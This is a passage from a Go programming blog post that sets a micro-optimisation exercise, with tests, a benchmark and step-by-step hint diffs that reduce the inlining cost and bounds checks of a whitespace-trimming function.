</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">ok</span>:   <span style="color:#66d9ef">false</span>,
</span></span><span style="display:flex;"><span>	}, {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">desc</span>: <span style="color:#e6db74">&#34;too much trailing OWS&#34;</span>,
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">s</span>:    <span style="color:#e6db74">&#34; foo\t &#34;</span>,
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">ok</span>:   <span style="color:#66d9ef">false</span>,
</span></span><span style="display:flex;"><span>	}, {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">desc</span>: <span style="color:#e6db74">&#34;too much leading and trailing OWS&#34;</span>,
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">s</span>:    <span style="color:#e6db74">&#34; \tfoo\t &#34;</span>,
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">ok</span>:   <span style="color:#66d9ef">false</span>,
</span></span><span style="display:flex;"><span>	},
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">TestTrimOWS</span>(<span style="color:#a6e22e">t</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">testing</span>.<span style="color:#a6e22e">T</span>) {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">for</span> <span style="color:#a6e22e">_</span>, <span style="color:#a6e22e">tc</span> <span style="color:#f92672">:=</span> <span style="color:#66d9ef">range</span> <span style="color:#a6e22e">trimOWStests</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">f</span> <span style="color:#f92672">:=</span> <span style="color:#66d9ef">func</span>(<span style="color:#a6e22e">t</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">testing</span>.<span style="color:#a6e22e">T</span>) {
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">allocs</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">testing</span>.<span style="color:#a6e22e">AllocsPerRun</span>(<span style="color:#ae81ff">10</span>,
</span></span><span style="display:flex;"><span>				<span style="color:#66d9ef">func</span>() { <span style="color:#a6e22e">str</span>, <span style="color:#a6e22e">truth</span> = <span style="color:#a6e22e">TrimOWS</span>(<span style="color:#a6e22e">tc</span>.<span style="color:#a6e22e">s</span>, <span style="color:#a6e22e">maxOWS</span>) },
</span></span><span style="display:flex;"><span>			)
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">allocs</span> &gt; <span style="color:#ae81ff">0</span> {
</span></span><span style="display:flex;"><span>				<span style="color:#66d9ef">const</span> <span style="color:#a6e22e">tmpl</span> = <span style="color:#e6db74">&#34;TrimOWS(%q, %d) allocates %.2f objects&#34;</span>
</span></span><span style="display:flex;"><span>				<span style="color:#a6e22e">t</span>.<span style="color:#a6e22e">Errorf</span>(<span style="color:#a6e22e">tmpl</span>, <span style="color:#a6e22e">tc</span>.<span style="color:#a6e22e">s</span>, <span style="color:#a6e22e">maxOWS</span>, <span style="color:#a6e22e">allocs</span>)
</span></span><span style="display:flex;"><span>			}
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">got</span>, <span style="color:#a6e22e">ok</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">TrimOWS</span>(<span style="color:#a6e22e">tc</span>.<span style="color:#a6e22e">s</span>, <span style="color:#a6e22e">maxOWS</span>)
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">if</span> !<span style="color:#a6e22e">tc</span>.<span style="color:#a6e22e">ok</span> <span style="color:#f92672">&amp;&amp;</span> <span style="color:#a6e22e">ok</span> {
</span></span><span style="display:flex;"><span>				<span style="color:#75715e">// In cases where TrimOWS must fail,</span>
</span></span><span style="display:flex;"><span>				<span style="color:#75715e">// its string result is unspecified.</span>
</span></span><span style="display:flex;"><span>				<span style="color:#66d9ef">const</span> <span style="color:#a6e22e">tmpl</span> = <span style="color:#e6db74">&#34;TrimOWS(%q, %d): _, %t; want _, %t&#34;</span>
</span></span><span style="display:flex;"><span>				<span style="color:#a6e22e">t</span>.<span style="color:#a6e22e">Fatalf</span>(<span style="color:#a6e22e">tmpl</span>, <span style="color:#a6e22e">tc</span>.<span style="color:#a6e22e">s</span>, <span style="color:#a6e22e">maxOWS</span>, <span style="color:#a6e22e">ok</span>, <span style="color:#a6e22e">tc</span>.<span style="color:#a6e22e">ok</span>)
</span></span><span style="display:flex;"><span>			}
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">tc</span>.<span style="color:#a6e22e">ok</span> <span style="color:#f92672">&amp;&amp;</span> (!<span style="color:#a6e22e">ok</span> <span style="color:#f92672">||</span> <span style="color:#a6e22e">got</span> <span style="color:#f92672">!=</span> <span style="color:#a6e22e">tc</span>.<span style="color:#a6e22e">want</span>) {
</span></span><span style="display:flex;"><span>				<span style="color:#66d9ef">const</span> <span style="color:#a6e22e">tmpl</span> = <span style="color:#e6db74">&#34;TrimOWS(%q, %d): %q, %t; want %q, %t&#34;</span>
</span></span><span style="display:flex;"><span>				<span style="color:#a6e22e">t</span>.<span style="color:#a6e22e">Errorf</span>(<span style="color:#a6e22e">tmpl</span>, <span style="color:#a6e22e">tc</span>.<span style="color:#a6e22e">s</span>, <span style="color:#a6e22e">maxOWS</span>, <span style="color:#a6e22e">got</span>, <span style="color:#a6e22e">ok</span>, <span style="color:#a6e22e">tc</span>.<span style="color:#a6e22e">want</span>, <span style="color:#a6e22e">tc</span>.<span style="color:#a6e22e">ok</span>)
</span></span><span style="display:flex;"><span>			}
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">t</span>.<span style="color:#a6e22e">Run</span>(<span style="color:#a6e22e">tc</span>.<span style="color:#a6e22e">desc</span>, <span style="color:#a6e22e">f</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">BenchmarkTrimOWS</span>(<span style="color:#a6e22e">b</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">testing</span>.<span style="color:#a6e22e">B</span>) {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">for</span> <span style="color:#a6e22e">_</span>, <span style="color:#a6e22e">tc</span> <span style="color:#f92672">:=</span> <span style="color:#66d9ef">range</span> <span style="color:#a6e22e">trimOWStests</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">f</span> <span style="color:#f92672">:=</span> <span style="color:#66d9ef">func</span>(<span style="color:#a6e22e">b</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">testing</span>.<span style="color:#a6e22e">B</span>) {
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">for</span> <span style="color:#66d9ef">range</span> <span style="color:#a6e22e">b</span>.<span style="color:#a6e22e">N</span> {
</span></span><span style="display:flex;"><span>				<span style="color:#a6e22e">str</span>, <span style="color:#a6e22e">truth</span> = <span style="color:#a6e22e">TrimOWS</span>(<span style="color:#a6e22e">tc</span>.<span style="color:#a6e22e">s</span>, <span style="color:#a6e22e">maxOWS</span>)
</span></span><span style="display:flex;"><span>			}
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">b</span>.<span style="color:#a6e22e">Run</span>(<span style="color:#a6e22e">tc</span>.<span style="color:#a6e22e">desc</span>, <span style="color:#a6e22e">f</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">var</span> ( <span style="color:#75715e">// sinks for avoiding dead-code elimination in benchmarks</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">str</span>   <span style="color:#66d9ef">string</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">truth</span> <span style="color:#66d9ef">bool</span>
</span></span><span style="display:flex;"><span>)
</span></span></code></pre></div><hr>
<p>To control the benchmark loop, I&rsquo;m deliberately relying on <a href="https://pkg.go.dev/testing#B.N" target="_blank" rel="noopener"><code>b.N</code></a> rather
than on <a href="https://pkg.go.dev/testing#B.Loop" target="_blank" rel="noopener"><code>b.Loop</code></a> because <code>b.Loop</code> currently precludes inlining; see
<a href="https://go.dev/issue/73137" target="_blank" rel="noopener">issue #73137</a>.</p>
<hr>
<p>Ready for some micro-optimisation? Clone the Gist and <code>cd</code> into your clone:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>$ git clone https://gist.github.com/jub0bs/0aca3c6bd041e838fe4add58a060be35
</span></span><span style="display:flex;"><span>$ cd 0aca3c6bd041e838fe4add58a060be35
</span></span></code></pre></div><p>And off you go!</p>
<h3 id="hints">Hints <a href="#hints">¶</a></h3>
<p>Here is series of hints that you might find useful in case you get stuck;
click on each hint to reveal it, as needed.</p>

<details>
  <summary>Hint 0</summary>
  <p>Try eliminating unnecessary branching.  In particular, the initial empty-string
check in <code>TrimOWS</code> is redundant; it&rsquo;s an attempt at
micro-optimisation, but its performance benefits are moot.  Moreover, <code>TrimOWS</code>
doesn&rsquo;t need to check the boolean results of <code>trimRightOWS</code>; instead, it could
simply bubble up <code>trimRightOWS</code>&rsquo;s results to the caller.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-diff" data-lang="diff"><span style="display:flex;"><span> func TrimOWS(s string, n int) (string, bool) {
</span></span><span style="display:flex;"><span><span style="color:#f92672">-       if s == &#34;&#34; {
</span></span></span><span style="display:flex;"><span><span style="color:#f92672">-               return s, true
</span></span></span><span style="display:flex;"><span><span style="color:#f92672">-       }
</span></span></span><span style="display:flex;"><span>        s, ok := trimLeftOWS(s, n)
</span></span><span style="display:flex;"><span>        if !ok {
</span></span><span style="display:flex;"><span>                return &#34;&#34;, false
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span><span style="color:#f92672">-       s, ok = trimRightOWS(s, n)
</span></span></span><span style="display:flex;"><span><span style="color:#f92672">-       if !ok {
</span></span></span><span style="display:flex;"><span><span style="color:#f92672">-               return &#34;&#34;, false
</span></span></span><span style="display:flex;"><span><span style="color:#f92672">-       }
</span></span></span><span style="display:flex;"><span><span style="color:#f92672">-       return s, true
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+       return trimRightOWS(s, n)
</span></span></span><span style="display:flex;"><span> }
</span></span></code></pre></div><p>These changes don&rsquo;t introduce any bounds check and somewhat reduce <code>TrimOWS</code>&rsquo;s
inlining cost:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>$ go build -gcflags <span style="color:#e6db74">&#39;-d=ssa/check_bce/debug=1&#39;</span>
</span></span><span style="display:flex;"><span>$
</span></span><span style="display:flex;"><span>$ go build -gcflags <span style="color:#e6db74">&#39;-m=2&#39;</span> 2&gt;&amp;<span style="color:#ae81ff">1</span> | grep TrimOWS
</span></span><span style="display:flex;"><span>./ows.go:9:6: cannot inline TrimOWS: <span style="color:#66d9ef">function</span> too complex: <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span>    cost <span style="color:#ae81ff">121</span> exceeds budget <span style="color:#ae81ff">80</span>
</span></span></code></pre></div></details>


<details>
  <summary>Hint 1</summary>
  <p>Although helper functions <code>trimLeftOWS</code> and <code>trimRightOWS</code> are themselves
inlinable, manually inlining them in <code>TrimOWS</code> helps inlinability without
hurting readability:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-diff" data-lang="diff"><span style="display:flex;"><span> func TrimOWS(s string, n int) (string, bool) {
</span></span><span style="display:flex;"><span><span style="color:#f92672">-       s, ok := trimLeftOWS(s, n)
</span></span></span><span style="display:flex;"><span><span style="color:#f92672">-       if !ok {
</span></span></span><span style="display:flex;"><span><span style="color:#f92672">-               return &#34;&#34;, false
</span></span></span><span style="display:flex;"><span><span style="color:#f92672">-       }
</span></span></span><span style="display:flex;"><span><span style="color:#f92672">-       return trimRightOWS(s, n)
</span></span></span><span style="display:flex;"><span><span style="color:#f92672">-}
</span></span></span><span style="display:flex;"><span><span style="color:#f92672">-
</span></span></span><span style="display:flex;"><span><span style="color:#f92672">-func trimLeftOWS(s string, n int) (string, bool) {
</span></span></span><span style="display:flex;"><span>        var i int
</span></span><span style="display:flex;"><span>        for len(s) &gt; 0 {
</span></span><span style="display:flex;"><span>                if i &gt; n {
</span></span><span style="display:flex;"><span>                        return &#34;&#34;, false
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>                if !isOWS(s[0]) {
</span></span><span style="display:flex;"><span>                        break
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>                s = s[1:]
</span></span><span style="display:flex;"><span>                i++
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span><span style="color:#f92672">-       return s, true
</span></span></span><span style="display:flex;"><span><span style="color:#f92672">-}
</span></span></span><span style="display:flex;"><span><span style="color:#f92672">-
</span></span></span><span style="display:flex;"><span><span style="color:#f92672">-func trimRightOWS(s string, n int) (string, bool) {
</span></span></span><span style="display:flex;"><span><span style="color:#f92672">-       var i int
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+       i = 0
</span></span></span><span style="display:flex;"><span>        for len(s) &gt; 0 {
</span></span><span style="display:flex;"><span>                if i &gt; n {
</span></span><span style="display:flex;"><span>                        return &#34;&#34;, false
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>                if !isOWS(s[len(s)-1]) {
</span></span><span style="display:flex;"><span>                        break
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>                s = s[:len(s)-1]
</span></span><span style="display:flex;"><span>                i++
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        return s, true
</span></span><span style="display:flex;"><span> }
</span></span></code></pre></div><p>Not only do these changes not introduce any bounds checks, but they
dramatically reduce <code>TrimOWS</code>&rsquo;s inlining cost:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>$ go build -gcflags <span style="color:#e6db74">&#39;-d=ssa/check_bce/debug=1&#39;</span>
</span></span><span style="display:flex;"><span>$
</span></span><span style="display:flex;"><span>$ go build -gcflags <span style="color:#e6db74">&#39;-m=2&#39;</span> 2&gt;&amp;<span style="color:#ae81ff">1</span> | grep TrimOWS
</span></span><span style="display:flex;"><span>./ows.go:9:6: cannot inline TrimOWS: <span style="color:#66d9ef">function</span> too complex: <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span>    cost <span style="color:#ae81ff">88</span> exceeds budget <span style="color:#ae81ff">80</span>
</span></span></code></pre></div><p>Manually inlining my little <code>isOWS</code> function at its two call sites is tempting
and does somewhat reduce <code>TrimOWS</code>&rsquo;s inlining cost, but doing so isn&rsquo;t ideal
because it violates <a href="https://en.wikipedia.org/wiki/Don%27t_repeat_yourself" target="_blank" rel="noopener">the DRY principle</a>:</p>
<blockquote>
<p>Every piece of knowledge must have a single, unambiguous, authoritative
representation within a system.</p>
</blockquote>
</details>


<details>
  <summary>Hint 2</summary>
  <p>Try traversing the string rather than repeatedly munching at it:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-diff" data-lang="diff"><span style="display:flex;"><span> func TrimOWS(s string, n int) (string, bool) {
</span></span><span style="display:flex;"><span>        var i int
</span></span><span style="display:flex;"><span><span style="color:#f92672">-       for len(s) &gt; 0 {
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+       for i = 0; i &lt; len(s); i++ {
</span></span></span><span style="display:flex;"><span>                if i &gt; n {
</span></span><span style="display:flex;"><span>                        return &#34;&#34;, false
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span><span style="color:#f92672">-               if !isOWS(s[0]) {
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+               if !isOWS(s[i]) {
</span></span></span><span style="display:flex;"><span>                        break
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span><span style="color:#f92672">-               s = s[1:]
</span></span></span><span style="display:flex;"><span><span style="color:#f92672">-               i++
</span></span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span><span style="color:#f92672">-       i = 0
</span></span></span><span style="display:flex;"><span><span style="color:#f92672">-       for len(s) &gt; 0 {
</span></span></span><span style="display:flex;"><span><span style="color:#f92672">-               if i &gt; n {
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+       var j int
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+       for j = len(s) - 1; j &gt;= i; j-- {
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+               if j &lt; len(s)-1-n {
</span></span></span><span style="display:flex;"><span>                        return &#34;&#34;, false
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span><span style="color:#f92672">-               if !isOWS(s[len(s)-1]) {
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+               if !isOWS(s[j]) {
</span></span></span><span style="display:flex;"><span>                        break
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span><span style="color:#f92672">-               s = s[:len(s)-1]
</span></span></span><span style="display:flex;"><span><span style="color:#f92672">-               i++
</span></span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span><span style="color:#f92672">-       return s, true
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+       return s[i : j+1], true
</span></span></span><span style="display:flex;"><span> }
</span></span></code></pre></div><p>Unfortunately, these changes are somewhat counterproductive because, not only
do they increase <code>TrimOWS</code>&rsquo;s inlining cost, but they also introduce bounds
checks!</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>$ go build -gcflags <span style="color:#e6db74">&#39;-d=ssa/check_bce/debug=1&#39;</span>
</span></span><span style="display:flex;"><span> gist.github.com/jub0bs/0aca3c6bd041e838fe4add58a060be35
</span></span><span style="display:flex;"><span>./ows.go:24:14: Found IsInBounds
</span></span><span style="display:flex;"><span>./ows.go:28:10: Found IsSliceInBounds
</span></span><span style="display:flex;"><span>$ go build -gcflags <span style="color:#e6db74">&#39;-m=2&#39;</span> 2&gt;&amp;<span style="color:#ae81ff">1</span> | grep TrimOWS
</span></span><span style="display:flex;"><span>./ows.go:9:6: cannot inline TrimOWS: <span style="color:#66d9ef">function</span> too complex: <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span>    cost <span style="color:#ae81ff">91</span> exceeds budget <span style="color:#ae81ff">80</span>
</span></span></code></pre></div><p>Fret not!  Performance optimisation seldom is a straight line, and refactorings
initially perceived as setbacks may in fact unlock new opportunities for
improvement.</p>
</details>


<details>
  <summary>Hint 3</summary>
  <p>The compiler feels the need to introduce bounds checks because it does not
(yet?) keep track of enough context to realise that <code>j</code> is always within bounds
of <code>s</code>. To help the compiler, we can substring and re-assign <code>s</code> within the
loops rather than later; this change also allows us to reduce the scope of the
two integer variables controlling the loops and simply return the empty string
if execution reaches the bottom of <code>TrimOWS</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-diff" data-lang="diff"><span style="display:flex;"><span> func TrimOWS(s string, n int) (string, bool) {
</span></span><span style="display:flex;"><span><span style="color:#f92672">-       var i int
</span></span></span><span style="display:flex;"><span><span style="color:#f92672">-       for i = 0; i &lt; len(s); i++ {
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+       for i := 0; i &lt; len(s); i++ {
</span></span></span><span style="display:flex;"><span>                if i &gt; n {
</span></span><span style="display:flex;"><span>                        return &#34;&#34;, false
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>                if !isOWS(s[i]) {
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">+                       s = s[i:]
</span></span></span><span style="display:flex;"><span>                        break
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span><span style="color:#f92672">-       var j int
</span></span></span><span style="display:flex;"><span><span style="color:#f92672">-       for j = len(s) - 1; j &gt;= i; j-- {
</span></span></span><span style="display:flex;"><span><span style="color:#f92672">-               if j &lt; len(s)-1-n {
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+       for i := len(s) - 1; i &gt;= 0; i-- {
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+               if i &lt; len(s)-1-n {
</span></span></span><span style="display:flex;"><span>                        return &#34;&#34;, false
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span><span style="color:#f92672">-               if !isOWS(s[j]) {
</span></span></span><span style="display:flex;"><span><span style="color:#f92672">-                       break
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+               if !isOWS(s[i]) {
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+                       return s[:i+1], true
</span></span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span><span style="color:#f92672">-       return s[i : j+1], true
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+       return &#34;&#34;, true
</span></span></span><span style="display:flex;"><span> }
</span></span></code></pre></div><p>Bounds checks, be gone!</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>$ go build -gcflags <span style="color:#e6db74">&#39;-d=ssa/check_bce/debug=1&#39;</span>
</span></span><span style="display:flex;"><span>$
</span></span></code></pre></div><p><code>TrimOWS</code>&rsquo;s inlining cost has again moved in the wrong direction, though:</p>
<pre tabindex="0"><code>$ go build -gcflags &#39;-m=2&#39; 2&gt;&amp;1 | grep TrimOWS
./ows.go:9:6: cannot inline TrimOWS: function too complex: \
    cost 93 exceeds budget 80
</code></pre><p>Again, don&rsquo;t let this temporary setback stop you. Small steps!</p>
</details>


<details>
  <summary>Hint 4</summary>
  <p>Use <a href="https://go.dev/ref/spec#For_range" target="_blank" rel="noopener">range-over-int loops</a> wherever possible, as they tend to
be cheaper (and easier to reason about!) than classic three-clause loops:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-diff" data-lang="diff"><span style="display:flex;"><span> func TrimOWS(s string, n int) (string, bool) {
</span></span><span style="display:flex;"><span><span style="color:#f92672">-       for i := 0; i &lt; len(s); i++ {
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+       for i := range len(s) {
</span></span></span><span style="display:flex;"><span>                if i &gt; n {
</span></span><span style="display:flex;"><span>                        return &#34;&#34;, false
</span></span><span style="display:flex;"><span>                }
</span></span></code></pre></div><p>No bounds checks have been introduced, and <code>TrimOWS</code>&rsquo;s inlining cost is now at
its lowest so far:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>$ go build -gcflags <span style="color:#e6db74">&#39;-d=ssa/check_bce/debug=1&#39;</span>
</span></span><span style="display:flex;"><span>$
</span></span><span style="display:flex;"><span>$ go build -gcflags <span style="color:#e6db74">&#39;-m=2&#39;</span> 2&gt;&amp;<span style="color:#ae81ff">1</span> | grep TrimOWS
</span></span><span style="display:flex;"><span>./ows.go:9:6: cannot inline TrimOWS: <span style="color:#66d9ef">function</span> too complex: <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span>    cost <span style="color:#ae81ff">86</span> exceeds budget <span style="color:#ae81ff">80</span>
</span></span></code></pre></div><p>Back on track!</p>
</details>


<details>
  <summary>Hint 5</summary>
  <p>Using <a href="https://go.dev/ref/spec#Return_statements" target="_blank" rel="noopener">naked returns</a> can help reduce a function&rsquo;s inlining cost:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-diff" data-lang="diff"><span style="display:flex;"><span><span style="color:#f92672">-func TrimOWS(s string, n int) (string, bool) {
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+func TrimOWS(s string, n int) (_ string, _ bool) {
</span></span></span><span style="display:flex;"><span>        for i := range len(s) {
</span></span><span style="display:flex;"><span>                if i &gt; n {
</span></span><span style="display:flex;"><span><span style="color:#f92672">-                       return &#34;&#34;, false
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+                       return
</span></span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>                if !isOWS(s[i]) {
</span></span><span style="display:flex;"><span>                        s = s[i:]
</span></span><span style="display:flex;"><span>                        break
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        for i := len(s) - 1; i &gt;= 0; i-- {
</span></span><span style="display:flex;"><span>                if i &lt; len(s)-1-n {
</span></span><span style="display:flex;"><span><span style="color:#f92672">-                       return &#34;&#34;, false
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+                       return
</span></span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>                if !isOWS(s[i]) {
</span></span><span style="display:flex;"><span>                        return s[:i+1], true
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        return &#34;&#34;, true
</span></span><span style="display:flex;"><span> }
</span></span></code></pre></div><p>Still no bounds checks to deplore, and <code>TrimOWS</code>&rsquo;s inlining cost is lower than
ever:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>$ go build -gcflags <span style="color:#e6db74">&#39;-d=ssa/check_bce/debug=1&#39;</span>
</span></span><span style="display:flex;"><span>$
</span></span><span style="display:flex;"><span>$ go build -gcflags <span style="color:#e6db74">&#39;-m=2&#39;</span> 2&gt;&amp;<span style="color:#ae81ff">1</span> | grep TrimOWS
</span></span><span style="display:flex;"><span>./ows.go:9:6: cannot inline TrimOWS: <span style="color:#66d9ef">function</span> too complex: <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span>    cost <span style="color:#ae81ff">82</span> exceeds budget <span style="color:#ae81ff">80</span>
</span></span></code></pre></div><p>Down to 82, now. <a href="https://www.youtube.com/watch?v=TJ57qURKRQ0&amp;t=19s" target="_blank" rel="noopener">We&rsquo;re breathing rare air, here!</a></p>
</details>


<details>
  <summary>Hint 6</summary>
  <p>At this stage, you may be (as I was) running out of ideas for further reducing
<code>TrimOWS</code>&rsquo;s inlining cost. But try offsetting the loop variable of the second
loop by one:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-diff" data-lang="diff"><span style="display:flex;"><span> func TrimOWS(s string, n int) (_ string, _ bool) {
</span></span><span style="display:flex;"><span>        for i := range len(s) {
</span></span><span style="display:flex;"><span>                if i &gt; n {
</span></span><span style="display:flex;"><span>                        return
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>                if !isOWS(s[i]) {
</span></span><span style="display:flex;"><span>                        s = s[i:]
</span></span><span style="display:flex;"><span>                        break
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span><span style="color:#f92672">-       for i := len(s) - 1; i &gt;= 0; i-- {
</span></span></span><span style="display:flex;"><span><span style="color:#f92672">-               if i &lt; len(s)-1-n {
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+       for i := len(s); i &gt; 0; i-- {
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+               if i &lt; len(s)-n {
</span></span></span><span style="display:flex;"><span>                        return
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span><span style="color:#f92672">-               if !isOWS(s[i]) {
</span></span></span><span style="display:flex;"><span><span style="color:#f92672">-                       return s[:i+1], true
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+               if !isOWS(s[i-1]) {
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+                       return s[:i], true
</span></span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        return &#34;&#34;, true
</span></span><span style="display:flex;"><span> }
